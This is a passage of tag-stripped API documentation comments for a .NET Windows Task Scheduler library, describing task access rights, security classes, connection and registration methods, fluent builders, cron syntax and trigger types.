Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The 